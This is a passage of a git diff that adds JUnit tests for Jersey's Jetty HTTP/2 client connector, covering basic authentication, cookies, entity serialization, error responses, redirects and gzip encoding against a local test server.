org.glassfish.jersey.client.authentication.HttpAuthenticationFeature; +import org.glassfish.jersey.logging.LoggingFeature; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.JerseyTest; +import org.junit.jupiter.api.Test; + +import jakarta.ws.rs.client.Entity; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.Response; +import java.util.logging.Logger; + +import static org.junit.jupiter.api.Assertions.assertEquals; + +public class AuthFilterTest extends JerseyTest { + + private static final Logger LOGGER = Logger.getLogger(AuthFilterTest.class.getName()); + + @Override + protected Application configure() { + ResourceConfig config = new ResourceConfig(AuthTest.AuthResource.class); + config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + return config; + } + + + @Override + protected void configureClient(ClientConfig config) { + config.connectorProvider(new JettyHttp2ConnectorProvider()); + } + + @Test + public void testAuthGetWithClientFilter() { + client().register(HttpAuthenticationFeature.basic("name", "password")); + Response response = target("test/filter").request().get(); + assertEquals("GET", response.readEntity(String.class)); + } + + @Test + public void testAuthPostWithClientFilter() { + client().register(HttpAuthenticationFeature.basic("name", "password")); + Response response = target("test/filter").request().post(Entity.text("POST")); + assertEquals("POST", response.readEntity(String.class)); + } + + + @Test + public void testAuthDeleteWithClientFilter() { + client().register(HttpAuthenticationFeature.basic("name", "password")); + Response response = target("test/filter").request().delete(); + assertEquals(204, response.getStatus()); + } + +} \ No newline at end of file diff --git a/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/AuthTest.java b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/AuthTest.java new file mode 100644 index 00000000000..c4763016757 --- /dev/null +++ b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/AuthTest.java @@ -0,0 +1,192 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.http2.connector; + +import org.eclipse.jetty.client.BasicAuthentication; +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.jetty.connector.JettyClientProperties; +import org.glassfish.jersey.logging.LoggingFeature; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.JerseyTest; +import org.junit.jupiter.api.Test; + +import jakarta.inject.Singleton; +import jakarta.ws.rs.DELETE; +import jakarta.ws.rs.GET; +import jakarta.ws.rs.POST; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.WebApplicationException; +import jakarta.ws.rs.client.Client; +import jakarta.ws.rs.client.ClientBuilder; +import jakarta.ws.rs.client.Entity; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.Context; +import jakarta.ws.rs.core.HttpHeaders; +import jakarta.ws.rs.core.Response; +import java.util.logging.Logger; + +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertTrue; + +public class AuthTest extends JerseyTest { + + private static final Logger LOGGER = Logger.getLogger(AuthTest.class.getName()); + private static final String PATH = "test"; + + @Path("/test") + @Singleton + public static class AuthResource { + + int requestCount = 0; + + @GET + public String get(@Context HttpHeaders h) { + requestCount++; + String value = h.getRequestHeaders().getFirst("Authorization"); + if (value == null) { + assertEquals(1, requestCount); + throw new WebApplicationException( + Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build()); + } else { + assertTrue(requestCount > 1); + } + + return "GET"; + } + + @GET + @Path("filter") + public String getFilter(@Context HttpHeaders h) { + String value = h.getRequestHeaders().getFirst("Authorization"); + if (value == null) { + throw new WebApplicationException( + Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build()); + } + + return "GET"; + } + + @POST + public String post(@Context HttpHeaders h, String e) { + requestCount++; + String value = h.getRequestHeaders().getFirst("Authorization"); + if (value == null) { + assertEquals(1, requestCount); + throw new WebApplicationException( + Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build()); + } else { + assertTrue(requestCount > 1); + } + + return e; + } + + @POST + @Path("filter") + public String postFilter(@Context HttpHeaders h, String e) { + String value = h.getRequestHeaders().getFirst("Authorization"); + if (value == null) { + throw new WebApplicationException( + Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build()); + } + + return e; + } + + @DELETE + public void delete(@Context HttpHeaders h) { + requestCount++; + String value = h.getRequestHeaders().getFirst("Authorization"); + if (value == null) { + assertEquals(1, requestCount); + throw new WebApplicationException( + Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build()); + } else { + assertTrue(requestCount > 1); + } + } + + @DELETE + @Path("filter") + public void deleteFilter(@Context HttpHeaders h) { + String value = h.getRequestHeaders().getFirst("Authorization"); + if (value == null) { + throw new WebApplicationException( + Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build()); + } + } + + @DELETE + @Path("filter/withEntity") + public String deleteFilterWithEntity(@Context HttpHeaders h, String e) { + String value = h.getRequestHeaders().getFirst("Authorization"); + if (value == null) { + throw new WebApplicationException( + Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build()); + } + + return e; + } + } + + @Override + protected Application configure() { + ResourceConfig config = new ResourceConfig(AuthResource.class); + config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + return config; + } + + @Test + public void testAuthGet() { + ClientConfig config = new ClientConfig(); + config.property(JettyClientProperties.PREEMPTIVE_BASIC_AUTHENTICATION, + new BasicAuthentication(getBaseUri(), "WallyWorld", "name", "password")); + config.connectorProvider(new JettyHttp2ConnectorProvider()); + Client client = ClientBuilder.newClient(config); + + Response response = client.target(getBaseUri()).path(PATH).request().get(); + assertEquals("GET", response.readEntity(String.class)); + client.close(); + } + + @Test + public void testAuthPost() { + ClientConfig config = new ClientConfig(); + config.property(JettyClientProperties.PREEMPTIVE_BASIC_AUTHENTICATION, + new BasicAuthentication(getBaseUri(), "WallyWorld", "name", "password")); + config.connectorProvider(new JettyHttp2ConnectorProvider()); + Client client = ClientBuilder.newClient(config); + + Response response = client.target(getBaseUri()).path(PATH).request().post(Entity.text("POST")); + assertEquals("POST", response.readEntity(String.class)); + client.close(); + } + + @Test + public void testAuthDelete() { + ClientConfig config = new ClientConfig(); + config.property(JettyClientProperties.PREEMPTIVE_BASIC_AUTHENTICATION, + new BasicAuthentication(getBaseUri(), "WallyWorld", "name", "password")); + config.connectorProvider(new JettyHttp2ConnectorProvider()); + Client client = ClientBuilder.newClient(config); + + Response response = client.target(getBaseUri()).path(PATH).request().delete(); + assertEquals(response.getStatus(), 204); + client.close(); + } + +} \ No newline at end of file diff --git a/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/CookieTest.java b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/CookieTest.java new file mode 100644 index 00000000000..427ed3ca7c7 --- /dev/null +++ b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/CookieTest.java @@ -0,0 +1,117 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.http2.connector; + +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.client.JerseyClient; +import org.glassfish.jersey.client.JerseyClientBuilder; +import org.glassfish.jersey.jetty.connector.JettyClientProperties; +import org.glassfish.jersey.logging.LoggingFeature; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.JerseyTest; +import org.junit.jupiter.api.Test; + +import jakarta.ws.rs.GET; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.client.Client; +import jakarta.ws.rs.client.ClientBuilder; +import jakarta.ws.rs.client.WebTarget; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.Context; +import jakarta.ws.rs.core.Cookie; +import jakarta.ws.rs.core.HttpHeaders; +import jakarta.ws.rs.core.NewCookie; +import jakarta.ws.rs.core.Response; +import java.util.logging.Logger; + +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertNotNull; +import static org.junit.jupiter.api.Assertions.assertNull; +import static org.junit.jupiter.api.Assertions.assertTrue; + +public class CookieTest extends JerseyTest { + + private static final Logger LOGGER = Logger.getLogger(CookieTest.class.getName()); + + @Path("/") + public static class CookieResource { + @GET + public Response get(@Context HttpHeaders h) { + Cookie c = h.getCookies().get("name"); + String e = (c == null) ? "NO-COOKIE" : c.getValue(); + return Response.ok(e) + .cookie(new NewCookie("name", "value")).build(); + } + } + + @Override + protected Application configure() { + ResourceConfig config = new ResourceConfig(CookieResource.class); + config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + return config; + } + + @Test + public void testCookieResource() { + ClientConfig config = new ClientConfig(); + config.connectorProvider(new JettyHttp2ConnectorProvider()); + Client client = ClientBuilder.newClient(config); + WebTarget r = client.target(getBaseUri()); + + + assertEquals("NO-COOKIE", r.request().get(String.class)); + assertEquals("value", r.request().get(String.class)); + client.close(); + } + + @Test + public void testDisabledCookies() { + ClientConfig cc = new ClientConfig(); + cc.property(JettyClientProperties.DISABLE_COOKIES, true); + cc.connectorProvider(new JettyHttp2ConnectorProvider()); + JerseyClient client = JerseyClientBuilder.createClient(cc); + WebTarget r = client.target(getBaseUri()); + + assertEquals("NO-COOKIE", r.request().get(String.class)); + assertEquals("NO-COOKIE", r.request().get(String.class)); + + final JettyHttp2Connector connector = (JettyHttp2Connector) client.getConfiguration().getConnector(); + if (connector.getCookieStore() != null) { + assertTrue(connector.getCookieStore().all().isEmpty()); + } else { + assertNull(connector.getCookieStore()); + } + client.close(); + } + + @Test + public void testCookies() { + ClientConfig cc = new ClientConfig(); + cc.connectorProvider(new JettyHttp2ConnectorProvider()); + JerseyClient client = JerseyClientBuilder.createClient(cc); + WebTarget r = client.target(getBaseUri()); + + assertEquals("NO-COOKIE", r.request().get(String.class)); + assertEquals("value", r.request().get(String.class)); + + final JettyHttp2Connector connector = (JettyHttp2Connector) client.getConfiguration().getConnector(); + assertNotNull(connector.getCookieStore().all()); + assertEquals(1, connector.getCookieStore().all().size()); + assertEquals("value", connector.getCookieStore().all().get(0).getValue()); + client.close(); + } +} \ No newline at end of file diff --git a/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/CustomLoggingFilter.java b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/CustomLoggingFilter.java new file mode 100644 index 00000000000..369169a02cb --- /dev/null +++ b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/CustomLoggingFilter.java @@ -0,0 +1,64 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.http2.connector; + +import jakarta.ws.rs.client.ClientRequestContext; +import jakarta.ws.rs.client.ClientRequestFilter; +import jakarta.ws.rs.client.ClientResponseContext; +import jakarta.ws.rs.client.ClientResponseFilter; +import jakarta.ws.rs.container.ContainerRequestContext; +import jakarta.ws.rs.container.ContainerRequestFilter; +import jakarta.ws.rs.container.ContainerResponseContext; +import jakarta.ws.rs.container.ContainerResponseFilter; +import java.io.IOException; + +import static org.junit.jupiter.api.Assertions.assertEquals; + +public class CustomLoggingFilter implements ContainerRequestFilter, ContainerResponseFilter, + ClientRequestFilter, ClientResponseFilter { + + static int preFilterCalled = 0; + static int postFilterCalled = 0; + + @Override + public void filter(ClientRequestContext context) throws IOException { + System.out.println("CustomLoggingFilter.preFilter called"); + assertEquals("bar", context.getConfiguration().getProperty("foo")); + preFilterCalled++; + } + + @Override + public void filter(ClientRequestContext context, ClientResponseContext clientResponseContext) throws IOException { + System.out.println("CustomLoggingFilter.postFilter called"); + assertEquals("bar", context.getConfiguration().getProperty("foo")); + postFilterCalled++; + } + + @Override + public void filter(ContainerRequestContext context) throws IOException { + System.out.println("CustomLoggingFilter.preFilter called"); + assertEquals("bar", context.getProperty("foo")); + preFilterCalled++; + } + + @Override + public void filter(ContainerRequestContext context, ContainerResponseContext containerResponseContext) throws IOException { + System.out.println("CustomLoggingFilter.postFilter called"); + assertEquals("bar", context.getProperty("foo")); + postFilterCalled++; + } +} \ No newline at end of file diff --git a/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/EntityTest.java b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/EntityTest.java new file mode 100644 index 00000000000..0f508ca384d --- /dev/null +++ b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/EntityTest.java @@ -0,0 +1,151 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.http2.connector; + +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.jackson.JacksonFeature; +import org.glassfish.jersey.logging.LoggingFeature; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.JerseyTest; +import org.junit.jupiter.api.Test; + +import jakarta.ws.rs.GET; +import jakarta.ws.rs.POST; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.client.Entity; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.MediaType; +import jakarta.ws.rs.core.Response; +import jakarta.xml.bind.annotation.XmlRootElement; +import java.util.concurrent.ExecutionException; +import java.util.concurrent.TimeoutException; +import java.util.logging.Logger; + +import static org.junit.jupiter.api.Assertions.assertEquals; + +public class EntityTest extends JerseyTest { + + private static final Logger LOGGER = Logger.getLogger(EntityTest.class.getName()); + + private static final String PATH = "test"; + + @Path("/test") + public static class EntityResource { + + @GET + public Person get() { + return new Person("John", "Doe"); + } + + @POST + public Person post(Person entity) { + return entity; + } + + } + + @XmlRootElement + public static class Person { + + private String firstName; + private String lastName; + + public Person() { + } + + public Person(String firstName, String lastName) { + this.firstName = firstName; + this.lastName = lastName; + } + + public String getFirstName() { + return firstName; + } + + public void setFirstName(String firstName) { + this.firstName = firstName; + } + + public String getLastName() { + return lastName; + } + + public void setLastName(String lastName) { + this.lastName = lastName; + } + + @Override + public String toString() { + return firstName + " " + lastName; + } + } + + @Override + protected Application configure() { + ResourceConfig config = new ResourceConfig(EntityResource.class, JacksonFeature.class); + config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + return config; + } + + @Override + protected void configureClient(ClientConfig config) { + config.connectorProvider(new JettyHttp2ConnectorProvider()) + .register(JacksonFeature.class); + } + + @Test + public void testGet() { + Response response = target(PATH).request(MediaType.APPLICATION_XML_TYPE).get(); + Person person = response.readEntity(Person.class); + assertEquals("John Doe", person.toString()); + response = target(PATH).request(MediaType.APPLICATION_JSON_TYPE).get(); + person = response.readEntity(Person.class); + assertEquals("John Doe", person.toString()); + } + + @Test + public void testGetAsync() throws ExecutionException, InterruptedException { + Response response = target(PATH).request(MediaType.APPLICATION_XML_TYPE).async().get().get(); + Person person = response.readEntity(Person.class); + assertEquals("John Doe", person.toString()); + response = target(PATH).request(MediaType.APPLICATION_JSON_TYPE).async().get().get(); + person = response.readEntity(Person.class); + assertEquals("John Doe", person.toString()); + } + + @Test + public void testPost() { + Response response = target(PATH).request(MediaType.APPLICATION_XML_TYPE).post(Entity.xml(new Person("John", "Doe"))); + Person person = response.readEntity(Person.class); + assertEquals("John Doe", person.toString()); + response = target(PATH).request(MediaType.APPLICATION_JSON_TYPE).post(Entity.xml(new Person("John", "Doe"))); + person = response.readEntity(Person.class); + assertEquals("John Doe", person.toString()); + } + + @Test + public void testPostAsync() throws ExecutionException, InterruptedException, TimeoutException { + Response response = target(PATH).request(MediaType.APPLICATION_XML_TYPE).async() + .post(Entity.xml(new Person("John", "Doe"))).get(); + Person person = response.readEntity(Person.class); + assertEquals("John Doe", person.toString()); + response = target(PATH).request(MediaType.APPLICATION_JSON_TYPE).async().post(Entity.xml(new Person("John", "Doe"))) + .get(); + person = response.readEntity(Person.class); + assertEquals("John Doe", person.toString()); + } +} \ No newline at end of file diff --git a/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/ErrorTest.java b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/ErrorTest.java new file mode 100644 index 00000000000..64d819874df --- /dev/null +++ b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/ErrorTest.java @@ -0,0 +1,119 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.http2.connector; + +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.logging.LoggingFeature; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.JerseyTest; +import org.junit.jupiter.api.Test; + +import jakarta.ws.rs.ClientErrorException; +import jakarta.ws.rs.POST; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.client.Entity; +import jakarta.ws.rs.client.WebTarget; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.Response; +import java.util.logging.Logger; + +import static org.junit.jupiter.api.Assertions.assertEquals; + +public class ErrorTest extends JerseyTest { + + private static final Logger LOGGER = Logger.getLogger(ErrorTest.class.getName()); + + @Override + protected Application configure() { + ResourceConfig config = new ResourceConfig(ErrorResource.class); + config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + return config; + } + + + @Override + protected void configureClient(ClientConfig config) { + config.connectorProvider(new JettyHttp2ConnectorProvider()); + } + + + @Path("/test") + public static class ErrorResource { + @POST + public Response post(String entity) { + return Response.serverError().build(); + } + + @Path("entity") + @POST + public Response postWithEntity(String entity) { + return Response.serverError().entity("error").build(); + } + } + + @Test + public void testPostError() { + WebTarget r = target("test"); + + for (int i = 0; i < 100; i++) { + try { + r.request().post(Entity.text("POST")); + } catch (ClientErrorException ex) { + } + } + } + + @Test + public void testPostErrorWithEntity() { + WebTarget r = target("test"); + + for (int i = 0; i < 100; i++) { + try { + r.request().post(Entity.text("POST")); + } catch (ClientErrorException ex) { + String s = ex.getResponse().readEntity(String.class); + assertEquals("error", s); + } + } + } + + @Test + public void testPostErrorAsync() { + WebTarget r = target("test"); + + for (int i = 0; i < 100; i++) { + try { + r.request().async().post(Entity.text("POST")); + } catch (ClientErrorException ex) { + } + } + } + + @Test + public void testPostErrorWithEntityAsync() { + WebTarget r = target("test"); + + for (int i = 0; i < 100; i++) { + try { + r.request().async().post(Entity.text("POST")); + } catch (ClientErrorException ex) { + String s = ex.getResponse().readEntity(String.class); + assertEquals("error", s); + } + } + } +} \ No newline at end of file diff --git a/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/FollowRedirectsTest.java b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/FollowRedirectsTest.java new file mode 100644 index 00000000000..2604f9b2df4 --- /dev/null +++ b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/FollowRedirectsTest.java @@ -0,0 +1,129 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.http2.connector; + +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.client.ClientProperties; +import org.glassfish.jersey.client.ClientResponse; +import org.glassfish.jersey.logging.LoggingFeature; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.JerseyTest; +import org.junit.jupiter.api.Test; + +import jakarta.ws.rs.GET; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.client.Client; +import jakarta.ws.rs.client.ClientBuilder; +import jakarta.ws.rs.client.ClientRequestContext; +import jakarta.ws.rs.client.ClientResponseContext; +import jakarta.ws.rs.client.ClientResponseFilter; +import jakarta.ws.rs.client.WebTarget; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.Response; +import jakarta.ws.rs.core.UriBuilder; +import java.io.IOException; +import java.net.URI; +import java.util.logging.Logger; + +import static org.junit.jupiter.api.Assertions.assertEquals; + +public class FollowRedirectsTest extends JerseyTest { + + private static final Logger LOGGER = Logger.getLogger(FollowRedirectsTest.class.getName()); + + @Path("/test") + public static class RedirectResource { + @GET + public String get() { + return "GET"; + } + + @GET + @Path("redirect") + public Response redirect() { + return Response.seeOther(UriBuilder.fromResource(RedirectResource.class).build()).build(); + } + } + + @Override + protected Application configure() { + ResourceConfig config = new ResourceConfig(RedirectResource.class); + config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + return config; + } + + @Override + protected void configureClient(ClientConfig config) { + config.property(ClientProperties.FOLLOW_REDIRECTS, false); + config.connectorProvider(new JettyHttp2ConnectorProvider()); + } + + private static class RedirectTestFilter implements ClientResponseFilter { + public static final String RESOLVED_URI_HEADER = "resolved-uri"; + + @Override + public void filter(ClientRequestContext requestContext, ClientResponseContext responseContext) throws IOException { + if (responseContext instanceof ClientResponse) { + ClientResponse clientResponse = (ClientResponse) responseContext; + responseContext.getHeaders().putSingle(RESOLVED_URI_HEADER, clientResponse.getResolvedRequestUri().toString()); + } + } + } + + @Test + public void testDoFollow() { + final URI u = target().getUri(); + ClientConfig config = new ClientConfig().property(ClientProperties.FOLLOW_REDIRECTS, true); + config.connectorProvider(new JettyHttp2ConnectorProvider()); + Client c = ClientBuilder.newClient(config); + WebTarget t = c.target(u); + Response r = t.path("test/redirect") + .register(RedirectTestFilter.class) + .request().get(); + assertEquals(200, r.getStatus()); + assertEquals("GET", r.readEntity(String.class)); + c.close(); + } + + @Test + public void testDoFollowPerRequestOverride() { + WebTarget t = target("test/redirect"); + t.property(ClientProperties.FOLLOW_REDIRECTS, true); + Response r = t.request().get(); + assertEquals(200, r.getStatus()); + assertEquals("GET", r.readEntity(String.class)); + } + + @Test + public void testDontFollow() { + WebTarget t = target("test/redirect"); + assertEquals(303, t.request().get().getStatus()); + } + + @Test + public void testDontFollowPerRequestOverride() { + final URI u = target().getUri(); + ClientConfig config = new ClientConfig().property(ClientProperties.FOLLOW_REDIRECTS, true); + config.connectorProvider(new JettyHttp2ConnectorProvider()); + Client client = ClientBuilder.newClient(config); + WebTarget t = client.target(u); + t.property(ClientProperties.FOLLOW_REDIRECTS, false); + Response r = t.path("test/redirect").request().get(); + assertEquals(303, r.getStatus()); + client.close(); + } +} \ No newline at end of file diff --git a/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/GZIPContentEncodingTest.java b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/GZIPContentEncodingTest.java new file mode 100644 index 00000000000..29bb444014c --- /dev/null +++ b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/GZIPContentEncodingTest.java @@ -0,0 +1,100 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.http2.connector; + +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.client.ClientProperties; +import org.glassfish.jersey.logging.LoggingFeature; +import org.glassfish.jersey.message.GZipEncoder; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.JerseyTest; +import org.junit.jupiter.api.Test; + +import jakarta.ws.rs.POST; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.client.Client; +import jakarta.ws.rs.client.ClientBuilder; +import jakarta.ws.rs.client.Entity; +import jakarta.ws.rs.client.WebTarget; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.MediaType; +import jakarta.ws.rs.core.Response; +import java.util.Arrays; +import java.util.logging.Logger; + +import static org.junit.jupiter.api.Assertions.assertTrue; + +public class GZIPContentEncodingTest extends JerseyTest { + + private static final Logger LOGGER = Logger.getLogger(EntityTest.class.getName()); + + @Path("/") + public static class Resource { + + @POST + public byte[] post(byte[] content) { + return content; + } + } + + @Override + protected Application configure() { + ResourceConfig config = new ResourceConfig(Resource.class); + config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + return config; + } + + @Override + protected void configureClient(ClientConfig config) { + config.register(GZipEncoder.class); + config.connectorProvider(new JettyHttp2ConnectorProvider()); + } + + @Test + public void testPost() { + WebTarget r = target(); + byte[] content = new byte[1024 * 1024]; + assertTrue(Arrays.equals(content, + r.request().post(Entity.entity(content, MediaType.APPLICATION_OCTET_STREAM_TYPE)).readEntity(byte[].class))); + + Response cr = r.request().post(Entity.entity(content, MediaType.APPLICATION_OCTET_STREAM_TYPE)); + assertTrue(cr.hasEntity()); + cr.close(); + } + + @Test + public void testPostChunked() { + ClientConfig config = new ClientConfig(); + config.property(ClientProperties.CHUNKED_ENCODING_SIZE, 1024); + config.connectorProvider(new JettyHttp2ConnectorProvider()); + config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + + Client client = ClientBuilder.newClient(config); + WebTarget r = client.target(getBaseUri()); + + byte[] content = new byte[1024 * 1024]; + assertTrue(Arrays.equals(content, + r.request().post(Entity.entity(content, MediaType.APPLICATION_OCTET_STREAM_TYPE)).readEntity(byte[].class))); + + Response cr = r.request().post(Entity.text("POST")); + assertTrue(cr.hasEntity()); + cr.close(); + + client.close(); + } + +} \ No newline at end of file diff --git a/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/HelloWorldTest.java b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/HelloWorldTest.java new file mode 100644 index 00000000000..bcf20ccad18 --- /dev/null +++ b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/HelloWorldTest.java @@ -0,0 +1,221 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.http2.connector; + +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.jetty.connector.JettyConnectorProvider; +import org.glassfish.jersey.logging.LoggingFeature; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.JerseyTest; +import org.junit.jupiter.api.Test; + 